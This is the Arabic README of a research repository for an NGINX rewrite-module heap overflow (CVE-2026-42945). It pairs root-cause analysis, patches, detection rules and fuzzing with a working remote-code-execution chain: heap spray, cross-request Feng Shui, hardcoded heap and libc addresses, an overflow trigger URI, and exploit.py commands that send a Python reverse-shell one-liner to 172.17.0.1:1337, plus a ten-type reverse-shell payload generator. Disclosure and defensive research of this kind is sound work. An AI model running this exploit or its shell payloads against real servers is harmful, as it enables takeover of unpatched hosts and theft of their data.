مستودع أبحاث كامل لثغرة CVE-2026-42945 مع تحليل تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow)، واستغلال RCE (heap spray + Feng Shui)، وسكربتات كشف، وإرشادات تصحيح لثغرة وحدة إعادة الكتابة (rewrite module) في NGINX.
| المقياس | القيمة |
|---|
| CVSS v4.0 | 9.2 (حرج) |
| CVSS v3.1 | 8.1 (عالي) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — تجاوز سعة المخزن المؤقت في الكومة |
| التاريخ المقدَّم | يونيو 2008 — v0.6.27 |
| الاكتشاف | أبريل 2026 — أبحاث DepthFirst |
| الإصلاح | 13 مايو 2026 — v1.30.1, v1.31.0 |
| نشر CVE | 21 مايو 2026 |
| العمر | ~18 عامًا (غير مكتشف) |
| التزام الإصلاح | 524977e7c534e87e5b55739fa74601c9f1102686 |
يمكن لمهاجم عن بُعد وغير مصادَق أن يسبب تجاوز سعة مخزن مؤقت حتميًا في الكومة في عمليات عمل NGINX عن طريق إرسال طلب HTTP مصمم بعناية إلى خادم يستخدم نمط تكوين محدد يجمع بين rewrite وset/if/rewrite. يؤدي هذا التجاوز إلى إفساد بيانات تعريف الكومة (مؤشرات ngx_pool_cleanup_t)، مما يتيح تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر تقنيات حقن الكومة (heap spray) وتعديل تخطيط الكومة (Feng Shui).
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Key requirements:**
- توجيه `rewrite` يحتوي بديله على `?` (فاصل سلسلة الاستعلام)
- توجيه `set` أو `if` أو `rewrite` لاحق يشير إلى **التقاط PCRE غير مُسمّى** (`$1`، `$2`، إلخ.)
- علامة `?` في بديل `rewrite` تؤدي إلى تشغيل `ngx_http_script_start_args_code` الذي يضبط `e->is_args = 1`
### ما يمكن أن يحققه المهاجم
| Capability | Description |
|-----------|-------------|
| **رفض الخدمة** | تعطل عمليات العامل بشكل حتمي، مما يسبب حلقات إعادة تشغيل (تعمل بغض النظر عن ASLR) |
| **تنفيذ التعليمات البرمجية عن بُعد** | مع تعطيل ASLR (أو تجاوزه عبر الكتابة الجزئية الفوقية)، يمكن تحقيق RCE كاملة كمستخدم nginx |
| **سرقة البيانات** | عبر بدائيات قراءة الذاكرة، يمكن استخراج بيانات حساسة من كومة العامل |
| **الثبات** | زرع أبواب خلفية عبر تنفيذ التعليمات البرمجية في ذاكرة عملية العامل |
---
## 2. تحليل السبب الجذري
### محرك البرمجة النصية ثنائي المرور
تستخدم وحدة `ngx_http_rewrite_module` في NGINX **محرك برمجة نصية ثنائي المرور** في `src/http/ngx_http_script.c`:
1. **مرحلة الطول** (`ngx_http_script_run`): يتكرر عبر جميع أكواد البرمجة النصية لحساب الحجم الإجمالي المطلوب للمخزن المؤقت. يكتب الأطوال إلى `le.ip` و `le.pos`.
2. **مرحلة النسخ** (`ngx_http_script_copy_len`/`_code`): يتكرر مرة أخرى، ويكتب البايتات الفعلية في المخزن المؤقت المخصص مسبقًا عند `e->ip` و `e->pos`.
كل كود برمجي له معالِجان: واحد لكل مرحلة. على سبيل المثال:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### علامة `is_args`
تتحكم العلامة `e->is_args` في **بنية المحرك** (`ngx_http_script_engine_t`) في كيفية تعامل مرحلة النسخ مع أحرف معينة:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
عندما تكون e->is_args = 1، يستدعي كود النسخ لمراجع الالتقاط $N الدالة ngx_escape_uri() مع NGX_ESCAPE_ARGS، والتي تقوم بتوسيع:
+ → %2B (1 بايت → 3 بايتات، +200%)% → %25 (1 بايت → 3 بايتات، +200%)& → %26 (1 بايت → 3 بايتات، +200%)مسار التنفيذ للنمط القابل للاستغلال:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. أثناء **تقييم إعادة الكتابة**، يصادف المحرك `?` في سلسلة الاستبدال، مما يؤدي إلى تشغيل `ngx_http_script_start_args_code`، وضبط `e->is_args = 1`.
2. تقوم إعادة الكتابة بتعديل URI الخاص بالطلب ثم تتابع إلى التوجيه التالي.
3. **لا يتم مسح `e->is_args` أبدًا**.
ثم:```
set $original_endpoint $1;
le) لتمرير الطول: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
هذا يصفّر le.is_args = 0 بشكل صحيح، لذا فإن تمريرة الطول تُرجع طول الالتقاط الخام غير المُرمَّز.
e، الذي ما يزال يحتوي على e->is_args = 1 من الخطوة 1. تطبّق تمريرة النسخ ترميز URI، مما يوسّع كل حرف قابل للترميز من 1 بايت إلى 3 بايتات داخل مخزن مؤقت تم تحديد حجمه ليتسع للطول الخام — تجاوز سعة الكومة.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
نسبة التوسع هي `7 + (n_escapable * 2)` حيث `n_escapable` هو عدد `+` و`%` و`&` في الالتقاط.
---
## 3. آليات الاستغلال
### نظرة عامة
| الخطوة | التقنية | الوصف |
|------|-----------|-------------|
| 1 | تجاوز السعة | أرسل URI مصنوعًا بحشو `+` لتجاوز سعة مخزن الكومة المؤقت |
| 2 | رش الكومة | أرسل طلبات POST بأجسام كبيرة إلى `/spray` لملء الكومة ببيانات مُتحكم بها |
| 3 | فنغ شوي | رتّب التخصيصات بحيث يكون هدف التجاوز (`ngx_pool_cleanup_t`) مجاورًا |
| 4 | إفساد المعالج | يستبدل التجاوز `ngx_pool_cleanup_t.handler` بعنوان `system()` |
| 5 | تفعيل التنظيف | انتظر تدمير التجمع → ينفّذ `system(cmd)` أمر المهاجم |
| 6 | الصدفة العكسية | سلسل إلى حمولة صدفة عكسية للوصول التفاعلي |
### فنغ شوي عبر الطلبات
**يفشل فنغ شوي أحادي الطلب** لأن التجاوز يُفسد البيانات الوصفية للتجمع (`->d.next`, `->d.failed`) قبل الوصول إلى مؤشر `cleanup`. عندما يُدمَّر التجمع في نهاية الطلب، تتسبب البيانات الوصفية المُفسدة في **تعطل قبل استدعاء `system()`**.
بدلاً من ذلك، يستخدم الاستغلال **فنغ شوي عبر الطلبات**:
1. **الطلب 1 (رش)**: أرسل جسمًا كبيرًا عبر POST إلى `/spray`. يُبقي الخادم الخلفي (`server.py`) الاستجابة مع ترويسة `X-Delay`، مما يُبقي الاتصال مفتوحًا ويُحافظ على تخصيص الكومة. يملأ الرشّ الكومة بكتل `ngx_pool_cleanup_t` مزيفة.
2. **الطلب 2 (تجاوز)**: أرسل URI الخاص بالتجاوز. يُفسد التجاوز مؤشر `cleanup` فقط (وليس البيانات الوصفية للتجمع)، موجّهًا إياه إلى الكتلة المزيفة المُرَشّة.
3. **تدمير التجمع**: عندما تكتمل استجابة الرشّ (تنتهي المهلة)، تنتقل سلسلة التنظيف الخاصة بالتجمع إلى الكتلة المزيفة وتستدعي `system(cmd)`.
### متطلبات العناوين
| الرمز | القيمة (Docker، ASLR معطّل) | الوصف |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | قاعدة كومة nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` في glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | مؤشر إلى تجمع cycles |
| عنوان التنظيف المزيف | `0x5555556a4030` | عنوان هدف الرش |
### تجاوز ASLR
بدون تعطيل ASLR، يظل **DoS** (التعطل) يعمل بشكل حتمي. لتحقيق RCE مع تفعيل ASLR، هناك طريقتان:
1. **استبدال جزئي**: استخدم استبدالًا بمقدار 1 بايت أو 2 بايت لتحريك مؤشر داخل نفس الصفحة، مع تخمين النيبلات المتبقية (16–256 محاولة).
2. **تسريب المعلومات**: اقرأ `/proc/self/maps` أو استخدم تحليل الذاكرة في `log_parser.py` لتحديد التخطيط.
---
## 4. تحليل الإصلاح
### الإصلاح الرسمي
**الالتزام**: `524977e7c534e87e5b55739fa74601c9f1102686`
**الملف**: `src/http/ngx_http_script.c`
**السطر**: ~1205 (في `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code يعمل بعد كل تقييم تعبير نمطي خلال كل من تمريرَي الطول والنسخ. إعادة تعيين e->is_args = 0 هنا تضمن:
set, if, rewrite) تبدأ مع is_args = 0 نظيفngx_http_script_start_args_code تعيين is_args = 1 عندما يواجه ? في سلسلة الاستبدال — الإصلاح لا يكسر هذه الوظيفةpatches/0002-hardening-bounds-check.patch تضيف فحص حدود في ngx_http_script_copy_capture_code:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Backport Patches
| Patch | Nginx Versions |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. الإصدارات المتأثرة
### NGINX Open Source
| النطاق | الحالة |
|-------|--------|
| **0.1.0 – 0.6.26** | غير متأثر (وحدة rewrite سابقة لظهور الالتقاطات غير المسماة) |
| **0.6.27 – 1.30.0** | **معرض للخطر** (فترة 18 عامًا) |
| **1.30.1** | أول إصدار مُصحَّح |
| **1.31.0+** | تم الإصلاح (mainline) |
### NGINX Plus
| الإصدار | المتأثر | المُصحَّح |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### النظام البيئي لـ NGINX
| المنتج | المتأثر | الحالة |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | الاستشارة معلقة |
| F5 NGINX WAF | 5.9.0–5.12.1 | الاستشارة معلقة |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | الاستشارة معلقة |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | الاستشارة معلقة |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | الاستشارة معلقة |
| NGINX Agent | 2.0.0–2.35.0 | الاستشارة معلقة |
---
## 6. الاكتشاف
### التحقق من الإصدار```bash
bash detection/detect_vuln.sh
يفحص هذا السكربت:
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### فحص الحاويات```bash
python3 detection/container_scan.py
يفحص صور Docker المحلية بحثًا عن تسميات NGINX ومتغيرات البيئة التي تشير إلى إصدارات معرضة للخطر.
| مجموعة القواعد | الملف | التغطية |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | يحظر 100+ من علامات + المتتالية، و50+ من الأحرف القابلة للتشفير، ويقيّد معدل الطلبات على نقاط نهاية الرش |
| Suricata/Snort | detection/suricata_rule.rules | يكتشف علامات + المفرطة في مسارات GET، وفيض الأحرف المشفرة، ورش POST إلى /spray، وحجب الخدمة عبر حلقات الانهيار |
| Falco | detection/falco_rule.yaml | وقت التشغيل: SIGSEGV على عامل nginx، حلقة انهيار (3+ خلال 60 ثانية)، كشف رش الكومة عبر POST |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. التخفيف
### إجراء فوري (بدون تغيير الكود)
استبدل **الالتقاطات غير المسماة** بـ **الالتقاطات المسماة** في جميع توجيهات `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
الالتقاطات المسماة لا تمر عبر ngx_escape_uri(..., NGX_ESCAPE_ARGS)، لذلك حتى مع e->is_args = 1، لا يحدث أي توسيع ولا يحدث تجاوز.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
يطبق إجراءات التقوية التالية:
- التحقق من ASLR وفرض تفعيله
- عزل عمليات العامل (Worker processes)
- تقييد تفريغ النواة (Core dumps)
- تقوية SSL/TLS
- تحديد المعدل (Rate limiting)
- رؤوس CSP
### فحص ASLR```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
---
## 9. البدء السريع```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
بيئة Docker:
- تبني NGINX من المصدر عند commit `98fc3bb78` (آخر commit ضعيف قبل الإصلاح)
- تتضمن GDB وvalgrind و`util-linux` (لـ `setarch -R` لتعطيل ASLR)
- تعرض المنافذ **19321** (nginx ضعيف)، **19322** (ثانوي)، **19323** (خلفية بايثون)
- يستخدم entrypoint الأمر `setarch x86_64 -R` لتعطيل ASLR للحصول على تخطيط عناوين استغلال حتمي
- يمنح صلاحية `SYS_PTRACE` و`seccomp=unconfined` لتصحيح الأخطاء
### الضعيف فقط```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN حاوية```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. تفعيل تجاوز السعة
### الانهيار الأساسي (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
يقوم هذا بإرسال:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
يتم توسيع أحرف `+` في الالتقاط `$1` بمقدار 3× أثناء تمرير النسخ بينما كان المخزن المؤقت مخصصًا للطول الخام، مما يؤدي إلى تجاوز سعة الكومة.
### المخرجات المتوقعة```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
يحسب الحد الأدنى لعدد علامات `+` اللازمة لتجاوز عدد معين من البايتات (مفيد عند استغلال هياكل الكومة المحددة).
### توسعة الأحرف```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
يُخرج نسبة التوسيع لطول بادئة معيّن وعدد الأحرف القابلة للتهريب.
ينفّذ الاستغلال فنغ شوي عبر الطلبات لتحقيق تنفيذ كود موثوق:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### الاستخدام الأساسي```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### الخيارات المتقدمة
| Flag | Default | الوصف |
|------|---------|-------------|
| `--host` | `127.0.0.1` | المضيف الهدف |
| `--port` | `19321` | منفذ الهدف |
| `--cmd` | — | الأمر المراد تنفيذه (مطلوب ما لم يُستخدم `--shell`) |
| `--shell` | — | استخدام وضع الصدفة التفاعلي |
| `--tries` | `3` | عدد محاولات الاستغلال |
| `--delay` | `2.0` | التأخير بين عملية الرش والفيضان (بالثواني) |
| `--payload` | — | مسار ملف الحمولة المخصص |
| `--debug` | — | تفعيل مخرجات التصحيح المفصلة |
### تحليل تخطيط الكومة```bash
python3 exploit/heap_layout.py
يتطلب معرف عملية (PID) لعامل nginx قيد التشغيل. يحلل /proc/PID/maps للعثور على:
system()python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
يجد عناوين الكومة التي لا تتضمن بايتاتها أحرفًا قابلة للهروب (`+`، `%`، `&`، `?`، إلخ) لاستخدامها في بناء حمولات الاستغلال.
---
## 13. التحقق من الصدفة العكسية
### البنية```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| النوع | الثنائي | ملاحظات |
|---|---|---|
bash | /dev/tcp | TCP مدمج في bash |
python | python3 -c | الأكثر موثوقية، متوفر دائمًا |
nc | nc | نتكات |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | يتطلب شهادة |
powershell | powershell | أهداف ويندوز |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### التحقق الآلي```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. التصحيح
### تطبيق الإصلاح```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### تطبيق Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. الاختبار
### اختبارات الوحدة```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
التشغيلات:
1. اختبارات الوحدة (pytest أو unittest)
2. اختبار المشغّل/التجاوز (إذا كان الخادم يعمل)
3. ماسح الإعدادات مقابل الإعدادات الضعيفة والآمنة
4. التحقق من التجربة الجافة للتصحيح
### مصفوفة الانحدار```bash
bash tools/regression_matrix.sh
يختبر إصدارات متعددة من NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) مقابل تكوينات ضعيفة وآمنة، والتحقق من توقعات الانهيار/عدم الانهيار.
bash tools/test_all_configs.sh
يختبر جميع أنماط التكوين (الأساسية، المتقدمة، ingress، gateway) مع محفزات تجاوز السعة.
---
## 16. الاختبار التلقيحي
### تسخيرة libFuzzer
تحاكي أداة التلقيح (`fuzz/ngx_http_script_fuzz.c`) محرك السكربت ثنائي المرور:
1. يحلل الإدخال كتسلسل من أكواد السكربت
2. ينفذ مرور الطول
3. ينفذ مرور النسخ مع `e->is_args = 1`
4. يكتشف تجاوز سعة المخزن المؤقت عبر ASAN أو عدم تطابق الحجم```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
يُشغّل AFL++ مع ASAN، ومهلة زمنية قابلة للتكوين، وحدود ذاكرة على منصة التضمين (fuzzing harness).
### مجموعة البذور
يحتوي دليل `fuzz/corpus/` على مدخلات بذور تعيد إنتاج النمط القابل للاستغلال، بما في ذلك:
- مشغّل تجاوز أساسي
- التقاط مُسمّى (يجب ألا يتجاوز)
- حالات حافة (التقاط فارغ، حجم أقصى، إلخ.)
---
## 17. خط أنابيب CI
### GitHub Actions
يستخدم المشروع سير عمل **GitHub Actions CI واحد** (`.github/workflows/ci.yml`) يتضمن هذه الوظائف:
| الوظيفة | ماذا يفعل |
|-----|-------------|
| `lint` | ShellCheck، التحقق من صيغة Python |
| `scan-configs` | يشغّل config_scanner.py على جميع نماذج الإعدادات |
| `fuzz-build` | يبني منصة libFuzzer |
| `test` | يشغّل مجموعة اختبارات pytest/unittest |
| `detect-patch` | يتحقق من تنسيق التصحيح ومحتوى الإصلاح |
| `verify-project` | يشغّل `tools/verify_project.sh` |
### خط الأنابيب الكامل```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
ينفّذ خط الأنابيب 7 مراحل:
| المستند | الوصف |
|---|---|
docs/root-cause-analysis.md | تحليل تقني معمّق لخلل محرك البرامج النصية ثنائي المرور، مع جولات على الكود ومخططات |
docs/exploitation-guide.md | الاستغلال خطوة بخطوة، رش الكومة، فنغ شوي، حساب العناوين، تجاوز ASLR |
docs/detection-guide.md | فحص الإعدادات، تحليل السجلات، قواعد WAF، تكامل SIEM، اكتشاف الحالات الشاذة |
docs/mitigation-guide.md | تحويل الالتقاط المسمّى، تحديد المعدل، نشر WAF، إجراءات الترقية |
docs/FAQ.md | أسئلة شائعة حول الثغرة الأمنية واستغلالها والمعالجة |
docs/timeline.md | خط زمني للإفصاح الكامل من إدخال الخلل في 2008 حتى الإصلاح في 2026 |
docs/operational-guidance.md | الاستجابة للحوادث، الأدلة الجنائية الرقمية، جمع مؤشرات الاختراق (IOC)، التخفيف الطارئ |
docs/case-study.md | محاكاة سيناريو هجوم واقعي مع تحليل سلسلة القتل |
docs/presentation-slides.md | عرض تقديمي للمؤتمرات واللقاءات مع ملاحظات المتحدث |
| المقياس | القيمة |
|---|---|
| إجمالي الملفات | 80+ |
| الدلائل | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| نصوص Python | 22 (exploit, detection, tools, shell, test) |
| نصوص Shell | 15 (detection, tools, shell, test, pipelines) |
| التصحيحات | 5 (1 إصلاح + 1 تحصين + 3 باكبورت) |
| مجموعات قواعد WAF | 3 (ModSecurity, Suricata, Falco) |
| إعداد CI | 1 (GitHub Actions — CI فقط) |
| التوثيق | 9 مستندات تقنية مفصّلة |
| نماذج الإعدادات | 7 (4 قابلة للاستغلال، 2 آمنة، 1 التقاط مسمّى + 3 متقدمة) |
| سجل الالتزامات | 1003+ التزامًا فرديًا |
| أنواع الصدفات | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| منصة Fuzz | 1 (libFuzzer، حوالي 200 سطر بلغة C) |
| حالات الاختبار | 8 اختبارات وحدة + مشغّل Shell |
| إصدارات NGINX المشمولة | 20 في مصفوفة الانحدار |
| دورة الحياة | 18 عامًا (2008–2026) |
| المرجع | الرابط |
|---|---|
| مدخل NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| التزام الإصلاح | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| نشرة F5 | https://my.f5.com/manage/s/article/K000161019 |
| سجل تغييرات NGINX | https://nginx.org/en/CHANGES |
| المرجع | الرابط |
|---|---|
| بحث DepthFirst | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| مستودع إثبات المفهوم (PoC) | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| المورد | الوصف |
|---|---|
ngx_http_script.c | ملف المصدر الذي يحتوي على الخلل في وحدة إعادة الكتابة في NGINX |
